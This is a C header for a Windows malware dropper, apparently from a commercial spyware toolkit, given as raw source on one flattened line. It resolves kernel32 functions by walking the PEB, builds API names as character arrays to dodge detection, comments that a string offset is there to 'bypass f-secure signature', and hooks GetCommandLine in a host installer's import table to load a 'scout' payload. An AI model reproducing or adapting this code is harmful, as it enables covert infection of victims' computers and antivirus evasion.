#ifdef WIN32 #include #else #include "win32types.h" #endif #ifndef _DROPPER_COMMON #define _DROPPER_COMMON #pragma optimize( "", off ) // *** Disable all optimizations - we need code "as is"! #pragma code_seg(".extcd") // *** Lets put all functions in a separated code segment #include "DropperHeader.h" #define END_MARKER(ptr) do { memcpy(ptr, "\0", 4); ptr += 4; } while(0) #define END_OF(x) #x ## "_End" #define FUNCTION_END_DECL(x) void x ## _End() #define FUNCTION_END(x) FUNCTION_END_DECL(x) { char * y = END_OF(x); return; } #define S_SWAP(a,b) do { unsigned char t = S[a]; S[a] = S[b]; S[b] = t; } while(0); typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE, LPCSTR); typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR); typedef HMODULE (*GETMODULEHANDLE)(LPCTSTR); typedef BOOL (WINAPI *EXTRACTFILE)(PCHAR, DWORD, DWORD, DataSectionHeader*); typedef ULONG (WINAPI *MAIN)(HINSTANCE, HINSTANCE, LPSTR, ULONG); typedef NTSTATUS (WINAPI *ZWTERMINATEPROCESS)(HANDLE, ULONG); typedef DWORD (WINAPI *GETSHORTPATHNAME)(LPSTR lpszLongPath, LPSTR lpszShortPath, DWORD cchBuffer); typedef BOOL (*SHGETFOLDERW)(HWND, LPWSTR, ULONG csidl, BOOL); typedef DWORD (WINAPI *GETSHORTPATHNAMEW)(LPWSTR lpszLongPath, LPWSTR lpszShortPath, DWORD cchBuffer); typedef HANDLE (WINAPI *CREATEFILEW)(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); typedef HANDLE (WINAPI *CREATEFILEA)(LPSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); typedef BOOL (WINAPI *WRITEFILE)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); typedef BOOL (WINAPI *CLOSEHANDLE)(HANDLE hObject); typedef LPVOID (WINAPI *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); typedef BOOL (WINAPI *VIRTUALFREE)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); typedef BOOL (WINAPI *VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpOldProtect); typedef DWORD (WINAPI *GETMODULEFILENAME)(HMODULE hModule, LPTSTR lpFilename, DWORD nSize); typedef SIZE_T (WINAPI *VIRTUALQUERY)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); typedef HANDLE (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); typedef VOID (WINAPI *SLEEP)(DWORD dwMilliseconds); typedef VOID (WINAPI *EXITPROCESS)(UINT uExitCode); typedef LPSTR (WINAPI *GETCOMMANDLINEA)(); typedef LPWSTR (WINAPI *GETCOMMANDLINEW)(); typedef DWORD (WINAPI *GETENVIRONMENTVARIABLE)(LPCTSTR lpName, LPTSTR lpBuffer, DWORD nSize); typedef BOOL (WINAPI *PATHREMOVEFILESPEC)(LPSTR pszPath); typedef DWORD (WINAPI *GETFILEATTRIBUTESA) (LPCSTR lpFileName); typedef BOOL (WINAPI *CREATEDIRECTORY)(LPCTSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); typedef DWORD (WINAPI *GETLASTERROR)(void); typedef BOOL (WINAPI *SETCURRENTDIRECTORY)(LPCSTR lpPathName); typedef BOOL (WINAPI *SETFILEATTRIBUTESA)(LPCTSTR lpFileName, DWORD dwFileAttributes); typedef LPWSTR (*PATHADDBACKSLASHW)(LPWSTR lpszPath); typedef BOOL (*PATHAPPENDW)(LPWSTR pszPath, LPWSTR pszMore); typedef struct _MY_DATA { LOADLIBRARY LoadLibraryA; GETPROCADDRESS GetProcAddress; GETMODULEHANDLE GetModuleHandleA; VIRTUALALLOC VirtualAlloc; VIRTUALFREE VirtualFree; GETMODULEFILENAME GetModuleFileNameA; VIRTUALPROTECT VirtualProtect; VIRTUALQUERY VirtualQuery; CREATETHREAD CreateThread; GETENVIRONMENTVARIABLE GetEnvironmentVariableA; PATHREMOVEFILESPEC PathRemoveFileSpecA; GETFILEATTRIBUTESA GetFileAttributesA; SETFILEATTRIBUTESA SetFileAttributesA; CREATEDIRECTORY CreateDirectoryA; GETLASTERROR GetLastError; SETCURRENTDIRECTORY SetCurrentDirectoryA; CREATEFILEA CreateFileA; CREATEFILEW CreateFileW; WRITEFILE WriteFile; CLOSEHANDLE CloseHandle; SHGETFOLDERW SHGetSpecialFolderPathW; GETSHORTPATHNAMEW GetShortPathNameW; PATHADDBACKSLASHW PathAddBackslashW; PATHAPPENDW PathAppendW; DataSectionHeader *header; PBYTE pScoutBuffer; ULONG pScoutSize; } MY_DATA, *PMY_DATA; int __stdcall DropperEntryPoint(); FUNCTION_END_DECL(DropperEntryPoint); DWORD WINAPI CoreThreadProc(PMY_DATA pData); FUNCTION_END_DECL(CoreThreadProc); BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD dataSize, DWORD originalSize, PMY_DATA pData); FUNCTION_END_DECL(DumpFile); DWORD HookIAT(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData); FUNCTION_END_DECL(HookIAT); void ArcFour(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData); FUNCTION_END_DECL(ArcFour); LPVOID WINAPI MemoryLoader(LPVOID pData); FUNCTION_END_DECL(MemoryLoader); LPSTR WINAPI GetCommandLineAHook(); FUNCTION_END_DECL(GetCommandLineAHook); LPWSTR WINAPI GetCommandLineWHook(); FUNCTION_END_DECL(GetCommandLineWHook); VOID WINAPI ExitProcessHook(UINT uExitCode); FUNCTION_END_DECL(ExitProcessHook); typedef DWORD (WINAPI * THREADPROC)(LPVOID lpParameter); typedef BOOL (WINAPI * DUMPFILE)(PCHAR fileName, PCHAR fileData, DWORD fileSize, DWORD originalSize, PMY_DATA pData); typedef void (*RC4_SKIP)(const unsigned char *key, size_t keylen, size_t skip, unsigned char *data, size_t data_len, PMY_DATA pData); typedef void (*HFF5)(PCHAR, DWORD, LPSTARTUPINFO, LPPROCESS_INFORMATION); typedef DWORD (*HOOKIAT)(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData); // CRT DEI POVERI __forceinline void _MEMSET_( void *_dst, int _val, size_t _sz ) { while ( _sz ) ((BYTE *)_dst)[--_sz] = _val; } __forceinline void _MEMCPY_( void *_dst, void *_src, size_t _sz ) { while ( _sz-- ) ((BYTE *)_dst)[_sz] = ((BYTE *)_src)[_sz]; } __forceinline BOOL _MEMCMP_( void *_src1, void *_src2, size_t _sz ) { while ( _sz-- ) { if ( ((BYTE *)_src1)[_sz] != ((BYTE *)_src2)[_sz] ) return FALSE; } return TRUE; } __forceinline size_t _STRLEN_(char *_src) { size_t count = 0; while( _src && *_src++ ) count++; return count; } __forceinline size_t _STRLENW_(wchar_t *_src) { ULONG count = 0; while(_src && (*(PUSHORT)_src++ != 0x0000)) count += 2; return count; } __forceinline void _TOUPPER_(char *s) { for(; *s; s++) if(('a' <= *s) && (*s <= 'z')) *s = 'A' + (*s - 'a'); } __forceinline void _TOUPPER_CHAR(char *c) { if((*c >= 'a') && (*c <= 'z')) *c = 'A' + (*c - 'a'); } __forceinline void _TOLOWER_(char *s) { for(; *s; s++) if(('A' <= *s) && (*s <= 'Z')) *s = 'a' + (*s - 'A'); } __forceinline int _STRCMP_(char *_src1, char *_src2) { size_t sz = _STRLEN_(_src1); if ( _STRLEN_(_src1) != _STRLEN_(_src2) ) return 1; return _MEMCMP_(_src1, _src2, sz ) ? 0 : 1; } __forceinline int _STRCMPI_(char *_src1, char *_src2) { char* s1 = _src1; char* s2 = _src2; while (*s1 && *s2) { char a = *s1; char b = *s2; _TOUPPER_CHAR(&a); _TOUPPER_CHAR(&b); if (a != b) return 1; s1++; s2++; } return 0; } __forceinline char* _STRRCHR_(char const *s, int c) { char* rtnval = 0; do { if (*s == c) rtnval = (char*) s; } while (*s++); return (rtnval); } __forceinline void _STRCAT_(char*_src1, char *_src2) { char* ptr = _src1 + _STRLEN_(_src1); _MEMCPY_(ptr, _src2, _STRLEN_(_src2)); ptr += _STRLEN_(_src2); *ptr = '\0'; } __forceinline void _ZEROMEM_(char* mem, int size) { for (int i = 0; i < size; i++) mem[i] = 0; } __forceinline GETPROCADDRESS resolveGetProcAddress() { PEB_LIST_ENTRY* head; DWORD **pPEB; DWORD *Ldr; char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; char strGetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', 0x0 }; __asm { mov eax,30h mov eax,DWORD PTR fs:[eax] add eax, 08h mov ss:[pPEB], eax } Ldr = *(pPEB + 1); head = (PEB_LIST_ENTRY *) *(Ldr + 3); PEB_LIST_ENTRY* entry = head; do { DWORD imageBase = entry->ImageBase; if (imageBase == NULL) goto NEXT_ENTRY; IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase; IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew); // *** check if we have an export table if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL) goto NEXT_ENTRY; // *** get EXPORT table IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // *** check for valid module name char* moduleName = (char*)(imageBase + exportDirectory->Name); if (moduleName == NULL) goto NEXT_ENTRY; if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature { if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY; if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY; if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY; DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions); DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames); WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals); // *** get pointers to LoadLibraryA and GetProcAddress entry points for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++) { if (Functions[x] == 0) continue; for (WORD y = 0; y < exportDirectory->NumberOfNames; y++) { if (NameOrds[y] == x) { char *name = (char *) (imageBase + Names[y]); if (name == NULL) continue; if (!_STRCMPI_(strGetProcAddress, name)) return (GETPROCADDRESS)(imageBase + Functions[x]); break; } } } } NEXT_ENTRY: entry = (PEB_LIST_ENTRY *) entry->InLoadNext; } while (entry != head); return 0; } __forceinline LOADLIBRARY resolveLoadLibrary() { PEB_LIST_ENTRY* head; DWORD **pPEB; DWORD *Ldr; char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; char strLoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0x0 }; __asm { mov eax,30h mov eax,DWORD PTR fs:[eax] add eax, 08h mov ss:[pPEB], eax } Ldr = *(pPEB + 1); head = (PEB_LIST_ENTRY *) *(Ldr + 3); PEB_LIST_ENTRY* entry = head; do { DWORD imageBase = entry->ImageBase; if (imageBase == NULL) goto NEXT_ENTRY; IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*) entry->ImageBase; IMAGE_NT_HEADERS32* ntHeaders = (IMAGE_NT_HEADERS32*) (entry->ImageBase + dosHeader->e_lfanew); // *** check if we have an export table if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL) goto NEXT_ENTRY; // *** get EXPORT table IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*) (imageBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // *** check for valid module name char* moduleName = (char*)(imageBase + exportDirectory->Name); if (moduleName == NULL) goto NEXT_ENTRY; if ( ! _STRCMPI_(moduleName+1, strKernel32+1) ) // +1 to bypass f-secure signature { if (exportDirectory->AddressOfFunctions == NULL) goto NEXT_ENTRY; if (exportDirectory->AddressOfNames == NULL) goto NEXT_ENTRY; if (exportDirectory->AddressOfNameOrdinals == NULL) goto NEXT_ENTRY; DWORD* Functions = (DWORD*) (imageBase + exportDirectory->AddressOfFunctions); DWORD* Names = (DWORD*) (imageBase + exportDirectory->AddressOfNames); WORD* NameOrds = (WORD*) (imageBase + exportDirectory->AddressOfNameOrdinals); // *** get pointers to LoadLibraryA and GetProcAddress entry points for (WORD x = 0; x < exportDirectory->NumberOfFunctions; x++) { if (Functions[x] == 0) continue; for (WORD y = 0; y < exportDirectory->NumberOfNames; y++) { if (NameOrds[y] == x) { char *name = (char *) (imageBase + Names[y]); if (name == NULL) continue; if (!_STRCMPI_(strLoadLibraryA, name)) return (LOADLIBRARY)(imageBase + Functions[x]); break; } } } } NEXT_ENTRY: entry = (PEB_LIST_ENTRY *) entry->InLoadNext; } while (entry != head); return 0; } __forceinline VOID FixInstallers(PMY_DATA pData) { PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS32 pNtHeaders; PIMAGE_SECTION_HEADER pSectionHeader; LPVOID pBaseAddress = pData->GetModuleHandleA(NULL); CHAR strNData[] = { '.', 'n', 'd', 'a', 't', 'a', 0x0}; CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 }; CHAR strGetCommandLineA[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'A', 0x0 }; CHAR strGetCommandLineW[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'W', 0x0 }; pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; pNtHeaders = (PIMAGE_NT_HEADERS32) (((PBYTE)pDosHeader) + pDosHeader->e_lfanew); pSectionHeader = (PIMAGE_SECTION_HEADER) (pNtHeaders + 1); for (DWORD i=0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { if (!_STRCMP_((PCHAR)pSectionHeader[i].Name, strNData)) { ULONG uOldProtect; GETCOMMANDLINEA pfn_GetCommandLineAHook = (GETCOMMANDLINEA) ( ((PBYTE)pData->header) + pData->header->functions.GetCommandLineAHook.offset); GETCOMMANDLINEW pfn_GetCommandLineWHook = (GETCOMMANDLINEW) ( ((PBYTE)pData->header) + pData->header->functions.GetCommandLineWHook.offset); pData->VirtualProtect(pfn_GetCommandLineAHook, pData->header->functions.GetCommandLineAHook.size, PAGE_EXECUTE_READWRITE, &uOldProtect); pData->VirtualProtect(pfn_GetCommandLineWHook, pData->header->functions.GetCommandLineWHook.size, PAGE_EXECUTE_READWRITE, &uOldProtect); HOOKIAT pfn_HookIAT = (HOOKIAT) (((PCHAR)pData->header) + pData->header->functions.hookIAT.offset); pfn_HookIAT(strKernel32, strGetCommandLineA, (DWORD)pfn_GetCommandLineAHook, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, (DWORD)pBaseAddress, pData); pfn_HookIAT(strKernel32, strGetCommandLineW, (DWORD)pfn_GetCommandLineWHook, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, (DWORD)pBaseAddress, pData); } } } #pragma code_seg() #pragma optimize( "", on ) #endif // _DROPPER_COMMON .